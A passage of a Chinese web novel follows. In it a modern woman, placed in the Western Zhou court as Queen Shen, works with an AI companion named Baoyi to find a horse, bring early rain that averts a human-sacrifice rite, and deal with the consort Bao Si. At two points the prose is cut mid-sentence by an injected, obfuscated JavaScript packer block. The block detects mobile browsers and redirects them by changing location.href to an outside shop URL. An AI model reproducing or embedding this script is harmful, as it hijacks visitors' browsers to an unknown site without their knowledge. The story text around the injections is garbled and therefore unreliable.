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“怎么样,悟了吗?”抱一托着腮,大眼睛冲你眨了眨,带着几分期待。 “我应该知道点什么吗?天!褒姒怀孕了?”你的注意力完全被这条八卦吸引,对背后的暗流浑然未觉,俨然一副油盐不进的模样。 “你往政治斗争上想一想!”抱一被你的关注点惊得身体不易察觉地抖了两下,“看看第22条!‘前’太子太傅,又是‘政见相悖’,这指向还不够明显吗?嫌疑人就是虢石父啊!” 最后你们顺着这个思路,得出了一个很典的、颇具些槽点的剧情:虢石父与太子太傅素来政见不合,他担心日后太子掌权,太傅得势,于自己不利,便想设计对付,恰逢“采花”事件和褒妃怀孕,他便借此大做文章,构陷太子“受太傅挑拨、意图不轨”,更暗示二人还想谋害褒姒腹中子。结果太傅被革去官职,太子宜臼被遣送到申国,交由其外祖申侯管教。 不过关于你们这个猜想到底有几分真假,就不得而知了。 5. 其真不知马也! 从马房里踉跄而出时,你的整个心情都是忧郁不快的,你为什么要没苦硬吃呀? 自打下定决心,你就一头劲地埋进‘野马之谜’这个任务,搜罗着各种与之相关的可能。好不容易经多方打听,你才得知:秦人善于饲马,周王室的马匹多由他们供应,而汧水与渭水交汇之地则是他们主要的牧马场。 于是,你就从抱一那索要了一张“改换头面”体验卡,打算潜入那一带。 改换头面体验卡【生效中】 剩余时效:02:12:37 本次身份:马医 说明:“掌养疾马而乘治之”,以马医身份,可自由出入于王畿之西的汧渭之间,调阅马籍,诊治马疾。 可谁能想到原本自认能一举探得野马的你,不仅半点收获也没有,还落得了一身狼藉。 你的发髻早就松了大半,几缕头发凌乱地垂在颊边,手和衣裳上蹭着深浅不一的灰泥印子。你的鞋底更不必提,边沿还沾粘着干结的马粪。若有人细看,还能瞧见你臀后那月牙形的踹印——方才那匹马儿赠予你的“重礼”。 当然,礼尚往来,你当即也还了它一份礼:一个扭头,几步冲到那匹还在悠闲嚼着草的马儿跟前,唰唰两下,把它嘴里的草给三下五除二地拽了出去。 这会儿,你仍旧揉着还在隐隐作痛的臀,从齿缝里挤出一句闷哼:“工伤……这绝对算工伤!” “这……唉,对不起。”抱一的声音带着歉意,见你半晌没应声,它又低声说:“我没想会发生那样的情况。” “没事,我原谅你——如果你给我补偿的话。”半弯着腰、扶着马桩的你见状,在佯装思考后,郑重地开口。 “嗯?好吧,那我找找看。”抱一或许是于心不安,竟真的应了你这得寸进尺的要求。 “啊,其实倒也不用,”你咂吧了一下嘴,心里有些过意不去,“毕竟严肃来说倒也不是工伤,那匹马也不是咱要找的。” 不过抱一好像有点太容易被诓了,要是有人发现了这点,老用这种方式向它讨要好处怎么办? 你摇了摇头,看来下次得注意不能随口说这种话了,尤其是对抱一这种习惯认真对待每一句话的小伙伴来说并不太好。 “谢谢,但请不要这么想,我不会那么容易被诓,我也是有识别能力的。”抱一的语气忽然认真起来,带着不容置疑的笃定。 “抱歉抱歉。”你吐了吐舌头,没再多想。 最后,抱一还是给了你一个限定自选道具包作补偿,哪怕你不好意思想要推拒。 “我知道的,这是人类社会那套‘先推脱、再接受’的客套礼节。”抱一了然地说着,同时直接将道具包给你入库了。 你有些汗颜,没想到连抱一都熟谙这种人情世故了。算了,就当是多得了一份新手礼包吧。 随后,你蹲靠在马桩边,点开了这个道具包的说明,正低头细看着它涵盖的三四十个道具—— “你在做什么呀?”这时,一道声音从你的头顶毫无征兆的响起。 你浑身一个激灵,猛地抬头,正和一个探身望下来的女孩对上了眼。还好是个人——你松了口气,侧过脸轻轻“呸”了一声后,用手掌抚了抚心口。可这口气还没顺匀,总感觉不太对的你又立即“蹭”的起身想跑开。 然而你的肩膀瞬间被一只手紧紧扣住了,你下意识挣了挣,但这使那只手反而收得更紧了。 “嘶…力道这么大,吃什么长大的啊,”吃痛的你不得不顺着那力道转过身。 扣住你的,好像是和刚刚那个女孩一同的男人。现在他的手已经松开,只是环着双臂,目光从你的全身扫过最后落在你的脸上:“跑什么?鬼鬼祟祟的。” “跑……我、我就是身体比脑子快了一步,真没别的意思!”你的肩膀缩了缩,局促地扯了下嘴角。“而且要说鬼鬼祟祟,你们才是吧?悄无声息的。我可是光明正大以正当身份出入的……” “对!身份!” 带着一丝恼意还在小声嘀咕的你,突然心头一亮,想到这个,你的背脊也更挺直了些。 他看你在这短短的时间里神色几变,怔了一瞬,头也跟着偏了几分,“嗯?” “我……我是马医,…近来有匹马状况不适,我来看看,”你定了定神,照着抱一刚为你投射在眼前的身份及情景简述念着。 话刚说完,你就观察到两人的反应显然是有些诧异的。你的内心“咯噔”一沉,难道是自己棒读的太明显了?你在意识里飞快地问抱一:“我是不是说的太生硬了?”抱一给你的回答是:“没有的事,你不要虚,勿要先自乱了阵脚。” 果然在一瞬的沉默后,那个女孩先开口了:“女马医很少见呢?那你一定懂很多了!”她的眼睛亮亮的,带着一种坦率的好奇,在你周围打着转。 你讪讪的笑了笑,“倒也没有…我新来的,技艺还生疏。” “那你叫什么名字呀?”她又凑近半步,带着真切的笑意问。 “我叫——” “我叫——” ……?! 怎么回事,你的声音被消了,就是发不出来你名字的音节,难道“甘语”两个字是什么屏蔽词吗?你慌忙地在脑中寻问抱一。 “你忘了你体验卡自定义的人物名了吗?”抱一带着点无奈地提点着你。 你这才想起来,当时为了图个玄学吉利,好找到野马取的名字。 “……伯乐。” 你羞赧地从喉咙里挤出这两个字,声音越说越轻,同时,你脖颈连带耳廓处也漫上了薄红色,一副看着不太自信的模样。 “真好听!名字很衬你。”那个女孩小心地用她温热的手裹住了你的手,真挚地点了点头。 不待你对她这突如其来的肯定有所反应,她就已经顺着往下问:“对了,那你刚才说的,那匹不适的马儿现在治好了吗?” “……其实还没,因为它跑了。”你继续忽略那道一直在你身上探查的目光,朝女孩说着,语气里还适时地流露了几分忧烦。 “那是匹性子有些烈的马儿,之前在被驯化的过程中,冲破了栅栏,腿侧划了道口子,我刚给它查看伤处呢,它就应激的蹶了我一下,然后就趁机跑到了外面的马场了。”你借题发挥还顺带卖惨地指了指衣摆上的印渍。 “蹶得重不重?伤着了没有?”那个女孩轻轻“啊”了一声,目光关切地看向你,还从腰间抽出了一条方帕递给了你。 在见你摇头示意无碍后,她又神情恳切地望着身旁一直沉默的男子,伸手拉住他的衣袖晃了晃:“哥哥,我们帮她找找看吧?” 那男子看了眼在央求的妹妹,继而瞥了你一眼,掂量了一会后,语气平淡地问道:“你说的马,有什么特征?” “是一匹野马,母马,很特别……它很难逗笑。”你眼神飘忽了一瞬,硬着头皮将这可疑的描述说完。 “很难逗笑的马?”女孩眨了眨眼,在脑海里搜索了片刻后,才将目光投向身旁的哥哥。 “……没听说过这样的马。”盯着你的男子顿了一下,像才消化完这句话说道。 “对了!还有……它的四蹄是‘乌云踏雪’样式的,”你被盯的发毛,又赶紧想了更多的说辞来具体形容,好让自己显得更可信。“就是通体乌黑,四蹄却雪白,像踩在雪地上一样。” 说完后,你眼眸低垂,心里有些发虚,因为这其实是你根据家中的小黑狗“旺旺”描述的,根本不是马的特征。 “放心,真的有这种马。”直到抱一的这番话让你壮了胆,你才又抬起了眼。 “乌云踏雪……”女孩轻声重复着,“那一定很漂亮。” 她这极具情绪价值的回复,竟然让你忍不住的冒出一个跳脱的想法——要是你刚刚描述的是黑白相间的斑马,那她的反应又是怎么样的呢?好好奇呀! “……”你这不合时宜的想法让抱一都无从下嘴来吐槽了。 “我们去让其他圉人一起帮忙来找吧。”女孩在思考后提议道,同时征询地看向你。 “这……可我只是个小小马医,”你连连摆手,声音越说越小,因为你刚刚都是胡诌的,你根本不知道情境是否真的落地给你生成了这匹马,就算真的给你随机设定了一匹状况不适的马,简述中也没具体说明这匹马的情况。 “没事,我们来让他们去。”女孩见你有顾虑,为了让你安心立即这样接道。 “你们?”你下意识反问。 “对呀,你等我们一下。”女孩安抚性地对你笑了笑,就拉着她的哥哥走了。 “我的天,抱一,他们找帮手去了!”看着他们的背影你急得手心冒汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251248|197950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“要不你现在把我传走吧?” “现在时效还没过,没办法提前传回。”抱一无情地拒绝了你。 “那穿帮了怎么办?”你心里一紧。 “你的身份有在册记录,不必担心,”接着抱一又顿了顿:“唯一需要应对的是,没找到相应的马或是找到的马可能与你的描述不符,届时,你就一口咬定声称自己记岔了。” “好吧。”你不情不愿地应了下来,脚尖来回地碾着地上的草梗,试着说服自己:”无非就是尴尬些……反正……反正等时效一到我就开溜,事后他们未必有闲工夫查一个无足轻重的小马医,就是查,天高地远,也找不着我了。” 不多时,那对兄妹带回了一位圉师和一批圉人,开始搜寻具有你所描述的特征的马。 你现在的心情很复杂——既隐隐期待着他们能帮你高效率地找到野马,结束你的任务;又害怕他们找到野马,发觉与你的描述大相径庭,让你不好收场。 你一面紧盯着视野上方频频闪现的剩余时效,一面试图和大家分开,往人少的地方挪步,好等时效一到就脱身。 可那对兄妹却像甩不掉的小尾巴,总会在你要离群时,好意提醒你“那个片区找过了,”那边是草料仓,一般马匹不会去”,来将你引回主区。 “找到了!”一个圉人的声音从不远处传来。 “找到了?”你听到后,心有些拔凉,迟迟不肯挪动脚步。你身边的那个女孩轻快地小跑过你身边,见你没跟上,还疑惑的回头,向你招招手。 “怎么不走?”她的哥哥则是轻轻撞了下你的肩侧,头朝你微微倾斜,询问着。你这才认命地跟着他们往草场西侧走去。 那匹马就在这堆干草垛的背风处,你不敢多迈出一步,只是在草垛前等着最后的审判。 “特征和你说的一样呢,你快看看是不是它!”女孩的声音带着按耐不住的雀跃,拉着你的手腕摇了摇。 你吸了一口气,挪步绕过草垛——一匹正跪坐地上,低着头缓慢舔舐着伤口的棕马映入了你的眼帘。 你愣住了,疑惑地揉了揉眼睛,再三地望向大家,这……明明是棕色的马……他们怎么说这和你之前描述的是一样的呢?难道你其实是个色盲,黑白棕分不清的那种? “别愣着了,快去。”抱一的声音及时出现,让你不再细想。 被这么一催,稀里糊涂的你不得不硬着头皮认领了这匹马,接着用身份体验卡自带的技能有模有样医治了马儿。 待一切处理妥当,马儿也被牵回马厩安顿好,你向那对兄妹诚恳地道了谢后,便跟着其他圉人一块离开了马场。 直到你又悄然地回到镐京的宫中,再一次成为了“申后”,你才完全松懈下来,才继续追问抱一刚刚的情况是怎么一回事。 “咳……一个小惊喜?”抱一试探地说。 “这是惊喜?”你眼皮不受控制地跳了两下:“这是恶趣味吧……” “其实是我发现补偿给你的自选道具包里有个‘混淆’道具,可以补救穿帮风险,就自动使用了。”直到你有些愠怒,抱一才带着讨好的意味解释,“这不全怪我,是你没看完道具包说明,不然也不会被我惊到。” “三四十多种道具,当时我就瞅了那一眼,怎么可能看的完呀……你……你下次不准这样诓吓我了!”你试图增加威慑力向抱一强调。 “好的。”抱一老老实实地答应了。 听它这样说完你才满意,接着顺手调出了面板,指尖轻划,点开了详细的『道具使用记录』。 蓝色的光屏上,一行清晰的记录浮现: new![已启用]混淆(一次性)-场景:马场寻马效果:范围认知干扰。 你没停留,又点开了『人物图鉴』。列表自动滚动,定格在了最新解锁的两条信息上——那是你最后从同行圉人口中打听到的那对不一般的兄妹的信息: new!99.嬴开:“秦起襄公”秦襄公,秦庄公次子 new!100.谬嬴:秦襄公的妹妹 “叮——成就【广交朋友】已达成。”抱一发出一声提示,它一副乖巧的模样趴在上方的边角,看着你。 “唉,任重而道远……”你摇了摇头,将抱一拖至底部,关掉整个界面,颓颓地往后躺了下去,等着时间的消逝。 6. 还我消费自由! “不行!”抱一的回应依然很果断,语气坚决、有力、又无情。 “为什么不能引进红薯和土豆,好……好!我辛苦积攒的阴德值,难不成还花不出去了?”你捂住胸口,半匍匐在地上,接着捏着拳头一下又一下轻锤着地面,一副活被欺诈了,快气得要背过气的样子,“你不让消费,这商城难道只是个摆设?我要找你们经理——呸,我、我要找人评评理哩!” “你……你戏要不要这么多呀?”抱一无奈地说着,它还有几分像看傻子一样地望向你,“再说一遍,不是我不让你消费,而是这不符合时代进程,所以无法提供和上架这类商品。” “可……可咱这不只是个基于历史的平行时空吗,还这么较真?”见刚刚那波动作没有成效,你索性端正了坐姿,打算换个方式继续和抱一软磨硬泡。 “再说,我也没要杂交水稻呀——对比起来,那才是真的不符合时代进程。”说这句时,你双手合十,又在心里感谢了两遍袁爷爷,多亏了他以及你不曾知晓的他们,才让更多的人远离了饥饿,有香喷喷的大米饭吃。 正当你在等着接下来抱一的回复时,门外传来了轻轻的叩门声和小芷的询问声:“娘娘?” 你手腕一抬,隐去了还停留在商城界面的面板,随即朝门外应了一声:“进来吧。” 小芷这才领着三个宫人,悄步走至你的身侧,她正要撤走食案上的食膳,却发现这些食物你貌似都未曾动过。她手上的动作一滞,抬眼看着你,微微叹了口气:“娘娘多少吃点,小心伤了身体。” 说完,她看了眼从窗口打下的焦灼的日光,嘴唇又跟着翕动了一下:“也不知道这天何时会降雨…再不降雨,好些地方本就不够的粮食收成,只怕又会更吃紧了,百姓可能都要食不果腹了,更别提那些按常例要运到宫里的时鲜供品了。” 说着,小芷又摇了摇头,为了止住这种忧虑,她又自我慰藉地添补道:“好在本月下旬大王就要主持‘大雩’仪式祭天求雨了。” “嗯嗯,不过我真不饿,你们把这些先撤下吧。”你看了眼几近满值的饱腹度轻声说。 “那不成,”小芷不赞成的望了你一眼,“娘娘,你现今不饿,难保过会仍不饿,我还是将这些食羹先置于温鼎里热着,待娘娘等会想吃了,也有现成的直接用。”说罢,她就嘱咐了两名宫娥去取小温鼎。 在这个等待的间隙,你就拉着小芷,引她一同在缫席上坐了下来。待坐定后,你又抬眼瞥见了剩余落单的那个宫女,她垂手立在一侧,很是局促,你便又匆匆起身,快步走到了内室。不一会儿,你就拎着一块方形木条回来了,你将这木条左右慢慢一展、向下按了按——它就立刻化成了一张敦实的小马扎。 说起来,这个编织小马扎还是你起初不适应长期跪坐,才做来给自己坐的。你前前后后尝试了不下三次才做成,真不枉你diy手工社社员的身份,虽然这个小马扎制成后你用上的次数屈指可数,因为大多数时候,为了脊柱健康和避免弯腰疲劳你是会选择继续跪坐。 “哦——对了,这个小马扎也是超时代产物。”抱一冷不丁冒出来这么一句。 “这也不是兑换的,况且当时我做的时候你可没说什么的!”你克制住翻白眼的冲动,在心里腹诽着抱一真会来事。同时,手还若无其事地将展开的小马扎往那个宫娥面前推了推,还顺手拍了拍小马扎的座面,示意她坐下来。 见她怀着犹豫和惊奇的神情稳稳坐下后,你这才满意地坐了回去,接着还不忘拾起刚刚提到的话头:“小芷,你刚刚说的那个“大雩”仪式是怎么一回事?” “就是和前年三川流域大旱设坛祈雨的仪式类似,不过……”说到这她声音变小了,眼睛频繁眨了两下,“不过,貌似由于今年旱情突然扩展的更严重、更广了,大王就打算效仿古殷人,烄三女奴或女巫来祈雨,以求得桑林祷雨的效果。” 你听完身上没由来的窜起一股寒意,心还不自觉地突突乱跳,你下意识环紧了自己的肘节:“烄什么?什么是烄?” “你自己看吧,我怕……说出来震惊你。”抱一压着声音吞吞吐吐地出声。 〔词条〕|桑林祷雨| 是记载于《墨子》《吕氏春秋》等典籍的商代典故。商汤灭夏后连遇几年大旱,史官建议以人牲祭祀求雨,商汤拒绝,他斋戒沐浴、剪发断爪,以自身为牲,在亳都外桑林祷雨,自责“一人有罪,无及万夫”,祈福于上天,随即大雨普降,百姓欢悦。 “?!那不就是人祭?可比起效仿一些原始甚至血腥带点压迫的旧俗,其实明明可以学点唯物有实际效的,像是大禹治水,周幽王他明明也可以来个姬宫湦抗旱。”你看着浮现的词语注解,抬起微麻的手抹了把鼻尖沁出的汗。 “唉,就怕久旱后又逢大震……”那个一旁的小宫娥小声嗫喏道,声音里掩不住的害怕。 “呸,呸,久旱必逢甘霖,真的!十天内必降雨。”当你再回过神来时,场面已经无人说话了,静得发沉。她们俩一个抿着嘴,望着你的案角发呆,一个肩膀塌着,来回地绞着手指,于是你赶紧活跃氛围,指着窗外的天这样说着,当然你并没有唬人,说的也确实是实话。 “但愿如娘娘所言……”小芷朝你笑了笑应对着,但这并没有让你感到轻松,因为她眼底的力不从心你一眼就看出了。你还想和她多说几句,可她看向殿门外,方才那两名宫娥已经捧着温鼎回来了,她便随即起身,领着宫人们麻利地收拾食案、安置温鼎……待一切妥帖后,就领着大家退出殿内了。 你倚在殿门边,望着她们渐远离去的身影,自顾自叹了口气。 “抱一。” “嗯?” 你咳了两声,清了下嗓子开口:“我不兑换那些高产作物了,我打算改成用阴德换雨早点下。” “还有,这早来的雨,最好能均匀分散些,不要过大或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251249|197950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只下一阵子,注意雨量、雨带和雨时。必要的话多帮我造几天雨,有偿的。”顿了顿你又补充道。 “你想好了?可早晚都会下雨,也不差这几天,你还是要花阴德?”抱一像是在提醒你。 “差这几天的!人命关天呀……”你头头是道地和抱一说了起来。 “更何况,要是真让那‘大雩’仪式祈来了原本就要落的雨,让大家真的对这种焚人祈雨仪式信以为真,以后每逢旱情都会这样做,那就完了。” 距离本月下旬的大雩求雨仪式只有五天了,而你之前看过『气象』界面,显示的雨天原本还要在七天后,提前降雨是不得不做的。 “可这一切都只是我们生成的一段数据,人的消亡在这也并非是真实的,你也不用有负罪感——”抱一可能觉得有必要让你分清虚拟及现实,还在和你说明着。 “不——我知道这些都是你们创设的,”你打断了他,“我也清楚,我在这里带来的改变不能真的影响历史走向,对现实的影响更是微乎其微。但你就当我拧巴或者正是仗着这一切并非是现实,所以我才要顺心一点,不让某些事出现在眼前。 “还有,你什么意思呀,难不成觉得我与这种行为很不搭?”刚被自己燃起来的你,更是硬气十足的发问。 “没有没有,只是有些反差和矛盾。”抱一只是提出看法,并没有被打断的不悦。 “有反差才更萌,有矛盾才更真实,再说也没有矛盾啦,”你的语气轻快了些。 “我一开始花阴德兑换高产作物的种子也是为了更能应对极端天气,稳定收成,减少饥荒频率,但说实在的,就算兑换了,我还不一定能把种子传出去。” 你将自己的想法继续往下梳理着:“再说,其实那样花的阴德也更多,你看我现在,花更少的阴德提前降雨,也很不错呀!既能解他人生命之危,又能让百姓更有盼头,还能让自己心顺,阴德应该也不会少,这么想是不亏的。” “原来是这样啊——”抱一意味深长地拖着尾音,你听着都快不好意思了,赶紧催促它,帮你办妥提前降雨这件事。 之后,抱一使用了道具-雨润如酥(升级版)-帮你调整优化了雨期。只是反差萌的它,仅将雨期提前到了祈雨仪式的前一天,还美其名曰是为了“帮你省一点阴德”,所以它兑换的是有规定使用期限的特价道具。 对了,关于反差萌那点,是它自己非要纠正让你用反差萌代替恶趣味来形容它的。 但说回来,抱一虽是帮你省了阴德,可这是有隐形代价的——那就是给褒姒做了人情,你完全没料到,降雨那天刚好是褒姒分娩的日子,而且更巧的是,她的孩子刚出生,大雨就降临了。 对此你倒没有那么在意。你光听宫人描述褒姒怀胎分娩的艰辛,都觉得太不易了,这个“天降甘霖”的彩头落在她和孩子的身上真的也很不错了,你表示祝福以及羡慕这种气运,和这种“刚好”。 7. 野马非马 你将手搭在围栏的横杆上,缓了几秒后,便开始以一种较“奇异”的姿势勾拉伸展起腿胫,随后还轻轻跺踏着足底,直到那股软麻的劲散去,你才又重新站定。 “小厕所,大民生,厕所改革真是太伟大了!” 这是你不知道第几次发出感慨了,尽管你上的厕所已算讲究:内置有熏炉焚着艾草,厕位旁也设有人性化的拉手,还有宫人定期打扫,可它到底是个坑厕,无法冲水的那种,尤其和现在的如厕条件比起来肯定比不过,你心里依旧有落差。 “这个宫厕已经是顶顶好的了。”抱一的声音平稳响起,听不出半分训导,只是陈述着,“在宫墙外,寻常百姓的如厕条件只怕更是简陋。就说硬挺的厕筹要是用不惯,他们一般也不会去用布帛,只是拾些叶片、土石块来揩?拭,还有……” “好嘛好嘛,但我可不是抱怨呢,感慨你知道不?”听完抱一话的你缩了缩脖子,侧望了眼茅房,“反正我也可以不经常跑这……” 你这么说是有原因的,因为你来到这后,身体似乎多了一套机制——像饥渴值、疲劳值、寒冷值、膀胱值等基本需求值只要不满,你便可以长时间内不用去管。当然你一般不会真的放任它们囤积到满值,毕竟你的身体感受一定程度上还是存在的。若是到极限才行动,那还是会让你很不好受。 待你整顿好衣装,便搓着手、呵着白气,朝正殿赶回去。同时,你的心里还思量起了推动一场小小的“厕所改良”的可能性。 回去的路上,原先飘着的霏霏的雨夹雪下得更密了,你加快脚步,匆匆穿行在廊道间。途经庭院时,你瞧见院落里的那口井边聚集了好一批人——他们正合力挪动一块扁长的石板,缓缓盖住了井口。 你心下好奇,不由得涌了上去,悄无声息地挪到了也在旁观望的小芷身边,微微探出头:“这是怎么了?” 她被你惊了一跳,抚了抚胸脯,神色奇异地望了一眼你后,回话解释着:“娘娘,近日这井水总泛起一股怪味,实在不宜饮用了,司工就命人封井,得待春日杼井易水,挖除井中的积垢淤泥,捣去浊流换以新水后才能重启用。” “难怪这几天我老觉得身体不太舒爽,连状态栏的数值都跟着掉了些……”你拢了拢衣袖,又往小芷身边挨近了些,若有所思地点点头。 “你说,该不会是井里落了人,或是被投了尸首,才发出这种气味的?”你蹙着眉,“还有我虽不受宠,但等到来年春天再来处理也太不放心上了。” “倒也不是因为你不受宠,只是这是一个习俗……”抱一说到这,见你抱有‘也太固执了,不知变通,难到因为这个习俗就拖着不清井吗?’的念头,它又赶紧补充:“不是哦,古人也很智慧的,选在春日清井,不单是因遵循礼制,更是因为天气回暖、冰雪消融时,涌动上升的地下水,可将井底的沉积物带出,更易清理……” “哦哦,原来是这样呀!”你恍然,堪堪称奇,心中下还生出了几分敬佩,“真是活到老学到老……也不知道他们经历了多少年岁摸索出这种规律的。” “还有啊……说来奇怪,您刚才怎么会想到那处去!井水异味也可能是腐叶淤泥等所致……额……你……”抱一有一瞬的哑然。 “就是……呃……当你悬疑探案什么的看多了,难免有时会往那想。”你咽了咽口水,含糊其辞地说着,把这个锅推到你曾刷到过的沉重离奇案件和小说上。 在抱一还叽里咕噜继续念叨你的时候,一粒半融的湿雪陡然落入了你的脖颈,还顺着划过锁骨渗进了衣服里,你冷得一颤,当即抬手捂住了脖颈,接着你又不受控制打了一个喷嚏。 “啊啾,啊——” 小芷见状,忙将手中的伞向你倾来,全然不管飘落在她肩头的湿雪。她也不围着井看了,一路送你回到正殿,之后她又去吩咐其他人,让他们去其他殿里担水来烧着喝。 你则是凑在殿内的燎炉边暖着身子,暖烘烘的炉火,烘得你全身都暖透了,你便又胆大地走至窗边,将窗推开了半边,甚至还伸手去接起了簌簌飘落的雨雪。 你望着侧上方飘在屋檐上纷纷的雪,不自觉笑了起来,你想起了幼时在北方的姥爷家,曾一个没站稳从院落外的坡地滑落到厚厚的河水冰面上的事;还有大一那会,在落满雪的校园和室友一起笨拙地照着网上教程捏雪玫瑰,一起和其他院系的校友堆雪人、给雪人上色戴围巾的事…… 想着想着,你指间都微微发痒了,可惜眼前这场雨夹雪没法满足你突然来的兴致。趴在窗檐的你叹了口气后,忽然又噌地直起了身,握紧的手往窗框一锤。 也许是窗外的风刮得你脸和耳朵有些疼,又或是刚刚那一下你没控制力度,硌疼了自己,你默默又将窗户关拢,低头按揉起了掌面。 之后,等你面对窗户管理好了表情,你才转身又回到了桌案边,从笔架上重拾起了毛笔,在丝帛?上继续写着给姬宜臼?的回信。你洋洋洒洒写了好些话,内容无非是给他些鼓励,让他定心,还有让他沉淀自己,除外还让他多为民生福祉着想,做些实事,毕竟通过你对他间接影响下所做的善行,你也能得到部分阴德加成。 写完后,你满意地展开,端详着自己写的毛笔行书,多亏你那擅书法、爱帮社区大家手写对联的爷爷教过你,你这才能写成一手还能看的软笔字。不待你多欣赏,你刚刚写的字已被抱一自动转换为了甲骨文。 不是…你还在回味与品鉴自己的艺术,抱一怎么这么没眼力见,踌躇了一下后,你也懒得再和它分辩,只是将写好的回信卷起,并用细带捆扎好,搁置在了案角,打算等会再让人送出去。 午后,雨夹雪渐渐停了,日光也从云隙中透出了些许。你拎着小马扎坐到了殿门前,冷还是有点冷,但你想着多晒晒太阳,免得闷得慌。晒着晒着有股困意漫上来了,你舒服地打了个哈欠,懒散地将脸埋进掌心。 就在你眼皮发沉即将闭上时,一阵密集的脚步声和衣料窸窣声由远及近。是一群宫人,他们的手中皆捧着一个个托盘。 你被这阵仗弄得顿时困意全无,你随手糊了一把脸,接着便起身。待看清了托盘上的物件:漆器丝帛、细绸彩锦、珍珠美玉,暖绒裘衣…… “嗯?这是……”平时都习惯了赏赐不均,待遇不平的你,有些发懵,甚至下意识抬眼望了望天色——今天是什么日子?太阳打西边出来了?大批的奖赏竟掉你头上了?还是说……大王良心发现自觉愧疚了? “这些是褒妃命我送予娘娘的……”在你还无思绪时,这群人中为首的那个寺人趋步上前。 “褒妃特意嘱咐,说是那日……多亏了娘娘照应,王子才得以无事。”他脸上虽堆着笑,可却察觉不出笑意,只能看到被带起那一道道僵硬的褶子。 你有些应对不了这种形色的人,你客客气气地弯了弯嘴角,含糊应了一声后,赶忙招手求来救星小芷,在他还要喋喋往下搭话时,让小芷带着他们将物件送到偏室。 待人走后,你松了口气,在心底不停地夸夸着小芷她们,之后又带着几分释然,掺着些许私人小恩怨,和抱一自顾自地嘀咕着:“褒妃真是人美心善,又这样体贴。我就说嘛,怎么能是那位阴鸷的大王送的。” “嗯,但你还是长点心吧,这件事我并不能看出心善啦,你想这些又不是平白无故赠你的,因为你帮了她呀,她也是还这份情,算是知恩?”抱一略带点犹豫。 “咦——抱一你缺少发现多多闪光点的眼睛哦。”你连连摇头,你自觉于褒姒并没有什么恩情,关于救王子的事,其实也没有那么夸张,大家懂得,有些事传着传着免不了被添枝加叶,说得夸张了。 你只是有一天在池苑闲逛时,恰见高台上褒姒抱着小伯服的身形晃了晃,细看她的额间冒着冷汗,面部看上去也如薄纸般缺乏血色,竟有要晕倒的迹象。 偏随行的宫人好似也被褒姒屏退了,你暗道不好,忙慌乱地冲了上去。 就在她身形不稳往下滑落时,你一手提抵着她的肩头,堪堪撑着她软下的身子,另一只手尽可能去托着襁褓中的孩子。 “蹼蹬?——” 可结果,你什么忙也没帮成,身体左右不协调的你和褒姒双双跌落在地,好在你们的手和身子护住了伯服。 你小心的将硌疼的手掌从小伯服的脑后抽出,然后坐正了身子后,又将半撑着身子、侧卧在地的褒姒轻轻扶正。 你俩面面相视一时无话。 “呜哇哇——” 伯服哭了起来,褒姒将他拢进怀里,低头轻拍哄着。你看着褒姒看入了神,平日有些孤高游离的她,在成为了母亲后,眉眼间除了多出的倦意,还更柔和亲人了。 可伯服仍在哭,残忍地给她的面庞增添了点点愁容。你不知道为什么下意识就凑过去了,你先向褒姒弯了弯眼睛,露出了微笑,释放出了友好的信号。 然后你朝着小伯服轻轻哼了一句“不哭,不哭,宝贝不哭”,见无成效,你便开始了你的表演,你将笑意收成了龇牙咧嘴的怪相,喉间也迸出几声呜呜咽咽,同时,在他的面前翻起了手掌,指着他摇了摇手后,接着又指了下自己,假装抹起了眼泪。 也许是他懂了你的意思,渐渐收了声。他睁着湿漉漉的大眼睛,疑惑地盯着你略红的手背,伸出小手,咿咿呀呀地就要去勾。你见状把手探过去,任他攥着。 同时,你又示意褒姒将孩子交与你,她犹豫地在你和孩子间来回看了两眼,没多言,便递给你了。再之后,你们便靠着坐凳栏杆坐下来了,直到褒姒面色缓过来些,又有宫娥匆匆寻至,你才起身离去。 “哎,真别说,小伯服还挺可爱,尤其黄疸褪去,更白净了,长相也随褒姒,水灵灵的,就是苦了褒姒生产时的艰辛。”你还在回忆道。 “摔坏了这,你拿什么赔,你看怎么交代吧。”寺人的声音由远及近,绷紧的脸上带着厉色,他拽着一个宫女的臂膀,拖至你跟前,呵斥着:“还不快跪下!”说罢便抬腿给那宫女的腘窝处来了一顶。 这几声将你从漫散的思绪中彻底拉了回来,你尚有些不明所以,好在小芷及时贴近,向你说明了事端的缘由:“这个宫娥过门槛没留神,打翻了托盘,索性里面的器物并无损坏。” “哦哦。”你当下明了地点了点头,目光落在了那个宫娥身上。她的眼睑浮肿,眼周还有暗沉的黑眼圈,面容憔悴——这……这不就是苦命熬夜期末周背书的限定版你的样子吗? 你默默敛吸,就连抱一也跟着沉默…… “娘娘,您瞧这……待我回去一定惩戒她。”寺人弯着腰略显谄媚地向你赔不是,转眼却又用眼神狠狠刮了一眼她。 那个跪地的宫女眼圈点点泛红,她抿紧的双唇泛着点白,她吸了下鼻子后,收回了泪光,不躲不避的地回视着。 “额……行了!”你实在看不了这个场面,你对着乌泱泱的人接到:“那物件无大碍,这个宫娥留下我来惩戒,你们都快回去复命吧。” “是,娘娘。”寺人一副得逞的快意模样,接着带着人回去了。 殿内,几人围坐着。宫娥阿荇边调节着燎炉的风门,边语气轻快地开口: 